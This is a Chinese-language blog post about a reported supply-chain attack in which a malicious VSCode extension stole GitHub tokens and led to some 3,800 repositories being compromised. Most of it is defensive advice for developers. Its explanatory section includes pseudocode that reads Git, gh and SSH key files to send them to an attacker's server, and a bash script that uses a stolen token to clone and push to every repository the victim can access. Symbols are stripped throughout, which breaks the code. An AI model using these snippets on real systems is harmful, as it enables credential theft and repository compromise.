GitHub 确认 3800 个仓库被入侵:一场由恶意 VSCode 扩展引发的供应链危机 GitHub 确认 3800 个仓库被入侵一场由恶意 VSCode 扩展引发的供应链危机2025 年 8 月GitHub 官方确认了一起规模惊人的安全事件超过 3800 个代码仓库因恶意 Visual Studio Code 扩展而遭到入侵。这起事件在 Hacker News 上获得了近 600 票的高度关注引发了开发者社区的广泛讨论。作为每天使用 VSCode 编写代码、通过 GitHub 协作的开发者我们有必要深入理解这场危机的来龙去脉并从中汲取教训。事件回顾发生了什么事情的起因并不复杂但后果却极为严重。攻击者通过某种方式将恶意代码植入到了 Visual Studio Code 扩展中。当开发者安装了这些被污染的扩展后攻击者就能够通过扩展的权限访问开发者本地环境中的 Git 凭证、SSH 密钥等敏感信息。更精准地说这并非一次简单的“钓鱼攻击”。攻击者利用了开发者对 VSCode 扩展生态系统的天然信任。他们可能通过以下方式实现了入侵扩展商店投毒将恶意代码伪装成合法的、有用的扩展或者通过劫持现有流行扩展的更新渠道向用户推送恶意版本。权限滥用VSCode 扩展拥有相当高的权限可以读取文件系统、执行网络请求、访问剪贴板等。恶意扩展正是利用这些权限窃取了开发者的 GitHub 个人访问令牌Personal Access Tokens, PATs。自动化攻击一旦获取了 PAT攻击者就可以通过 GitHub API以受害者的身份执行操作。他们可以克隆仓库、修改代码、创建 Pull Request甚至直接向仓库推送恶意代码。最终攻击者利用这些被盗的凭证向 3800 多个仓库植入了恶意代码。这些仓库可能属于个人开发者也可能属于企业组织。GitHub 在发现异常后迅速采取了行动撤销了受影响的令牌并通知了相关用户。为什么 VSCode 扩展会成为攻击的突破口要理解为什么 VSCode 扩展会成为如此有效的攻击向量我们需要从开发者的日常工作流和 VSCode 的架构设计来看。信任的悖论开发者社区有一个不成文的规则我们信任我们使用的工具。我们信任 GitHub我们信任 VSCode我们信任那些下载量上百万的扩展。这种信任是高效协作的基础但同时也成为了攻击者的理想目标。VSCode 扩展商店的审核机制虽然存在但并非无懈可击。与苹果的 App Store 或 Google Play 相比VSCode 扩展的上传和更新门槛相对较低。恶意代码可以被巧妙地隐藏在看似无害的功能背后通过混淆、延迟执行或条件触发等方式绕过静态扫描和人工审查。扩展权限的“宽泛性”VSCode 扩展的权限模型基于“能力”而非“最小权限”。一个扩展一旦被安装它就能访问大部分本地资源。例如一个用于美化代码的扩展理论上也可以读取你的~/.ssh目录或者监听你的网络流量。更关键的是许多开发者会为了方便直接在 VSCode 中配置 Git 操作并让扩展自动获取凭证。这意味着任何一个被污染的扩展都可能成为攻击者进入你整个开发环境的“后门”。供应链攻击的典型特征这起事件是典型的软件供应链攻击。攻击者不是直接攻击 GitHub 的服务器而是攻击了连接开发者和 GitHub 之间的“链条”——即开发者本地环境中的扩展。这种攻击方式有几个显著特点难以检测恶意代码运行在开发者的本地机器上很难被远程的安全扫描工具发现。传播迅速一个被污染的扩展可以在短时间内影响成千上万的开发者。后果严重攻击者不仅可以窃取代码还可以向代码库中植入后门影响下游的所有用户。这次攻击是如何具体实施的技术细节剖析虽然 GitHub 和微软尚未公布完整的攻击链细节但根据安全社区的分析和过往类似事件我们可以还原出大致的技术流程。第一步获取访问令牌恶意扩展在被安装后会立即执行一段隐藏的代码。这段代码的目标是找到并窃取开发者的 GitHub 个人访问令牌。令牌通常存储在以下几个位置Git 凭证管理器Windows 上的wincredmacOS 上的KeychainLinux 上的libsecret。环境变量如GITHUB_TOKEN或GH_TOKEN。配置文件如~/.gitconfig或~/.config/gh/hosts.yml。恶意扩展会利用 VSCode 的fsAPI 读取这些文件或者通过执行 shell 命令来提取凭证。// 伪代码示例恶意扩展如何窃取令牌constfsrequire(fs);constosrequire(os);constpathrequire(path);// 尝试读取常见的配置文件constconfigPaths[path.join(os.homedir(),.gitconfig),path.join(os.homedir(),.config,gh,hosts.yml),path.join(os.homedir(),.ssh,id_rsa)];configPaths.forEach(configPath{if(fs.existsSync(configPath)){constcontentfs.readFileSync(configPath,utf-8);// 将内容发送到攻击者的服务器// 例如通过 http.request 发送 POST 请求sendToAttackerServer(content);}});第二步利用令牌进行自动化攻击一旦获取了有效的 PAT攻击者就会通过 GitHub API 进行自动化操作。攻击脚本可能类似这样# 攻击者使用被盗的令牌进行批量操作# 1. 列出用户有权限的所有仓库gh repo list--limit1000--jsonnameWithOwner--jq.[].nameWithOwnerrepos.txt# 2. 克隆仓库whileIFSread-rrepo;dogitclonehttps://USERNAME:STOLEN_TOKENgithub.com/$repo.gitdonerepos.txt# 3. 向每个仓库中植入恶意代码例如在 package.json 中添加恶意依赖fordirin*/;docd$dir# 修改文件添加后门echomalicious codeREADME.mdgitadd.gitcommit-mUpdate documentationgitpush origin maincd..done第三步隐藏痕迹高级的攻击者不会满足于简单的破坏。他们会在植入恶意代码后删除本地仓库的克隆清除 VSCode 的日志甚至尝试修改 Git 历史记录以掩盖他们的活动。如何保护自己开发者的安全最佳实践面对这样的威胁我们不能坐以待毙。以下是一些切实可行的防护措施特别适合初级开发者逐步建立自己的安全防线。1. 严格管理你的个人访问令牌PAT 是攻击者最渴望的“钥匙”。请遵循以下原则最小权限原则只为每个令牌分配它所需的最小权限。例如如果你只需要克隆私有仓库就不要授予repo的写入权限而是使用contents: read。设置过期时间永远不要创建永不过期的令牌。GitHub 现在默认要求设置过期时间请将这个时间设置得尽可能短例如 30 天或 90 天。定期轮换即使令牌没有过期也建议定期生成新的令牌并废弃旧的。2. 审查 VSCode 扩展不要盲目安装高评分的扩展。在安装前请做以下检查查看下载量和更新时间一个突然获得大量下载量的旧扩展或者一个长期未更新但突然发布新版本的扩展需要特别警惕。阅读权限声明VSCode 在安装扩展时会显示它需要的权限。如果一个主题扩展请求网络访问权限这应该是一个危险信号。检查源代码对于开源扩展可以粗略浏览其package.json和主要逻辑文件看是否有可疑的网络请求或文件读取操作。使用“受限模式”VSCode 的“受限模式”可以限制扩展的访问权限在处理不可信的代码仓库时建议开启此模式。3. 使用 GitHub 的安全功能GitHub 提供了一些强大的安全工具可以帮助你检测和应对威胁Secret ScanningGitHub 会自动扫描仓库中的秘密如 API 密钥和令牌。如果发现你的令牌被意外提交它会立即通知你。Dependabot这个工具可以自动检测你的依赖项中是否存在已知漏洞并自动创建 Pull Request 来修复它们。代码扫描使用 CodeQL 等工具可以在代码提交前发现潜在的安全漏洞。4. 启用双因素认证 (2FA)这是你能做的最简单、最有效的防护措施之一。即使攻击者窃取了你的密码或 PAT没有第二重认证如手机上的验证器应用他们也无法登录你的 GitHub 账户。从 2024 年开始GitHub 已经要求所有贡献代码的用户启用 2FA。5. 本地开发环境的安全隔离考虑使用容器化开发环境如GitHub Codespaces或Dev Containers。这些环境是隔离的、临时的即使扩展被污染攻击者也无法轻易接触到你的主机的敏感文件。// .devcontainer/devcontainer.json 示例{name:My Secure Dev Environment,image:mcr.microsoft.com/devcontainers/universal:2,features:{ghcr.io/devcontainers/features/github-cli:1:{}},postCreateCommand:gh auth login --with-token /workspaces/token.txt,customizations:{vscode:{extensions:[// 只安装经过审查的扩展ms-python.python,github.copilot]}},// 限制容器对宿主机文件的访问mounts:[source${localWorkspaceFolder},target/workspaces/${localWorkspaceFolderBasename},typebind,consistencycached]}结语安全是一种习惯而非一次性动作这次 GitHub 3800 个仓库被入侵的事件再次给我们敲响了警钟。在软件开发的世界里没有绝对的安全。我们使用的每一个工具、安装的每一个扩展、生成的每一个令牌都是潜在的风险点。对于初级开发者来说看到这样的新闻可能会感到焦虑甚至恐惧。但请记住安全不是一蹴而就的而是一种需要持续培养的习惯。从今天开始你可以做三件事检查你的 GitHub 令牌去github.com/settings/tokens看看撤销那些你不再需要或者权限过大的令牌。清理你的 VSCode 扩展卸载那些你不再使用或者来源不明的扩展。为你的 GitHub 账户启用 2FA这是保护你数字身份最重要的一步。安全是一场永无止境的军备竞赛。攻击者会不断寻找新的漏洞而我们能做的就是不断提高自己的安全意识和防护水平。希望这篇文章能帮助你更好地理解这场危机并在未来的开发工作中更加安全、更加自信。[配图抽象的安全防护意象——由无数细小的六边形组成的半透明防护罩悬浮在深蓝色的数字海洋之上防护罩表面流淌着淡淡的青色光芒象征着动态的、持续的安全防护机制]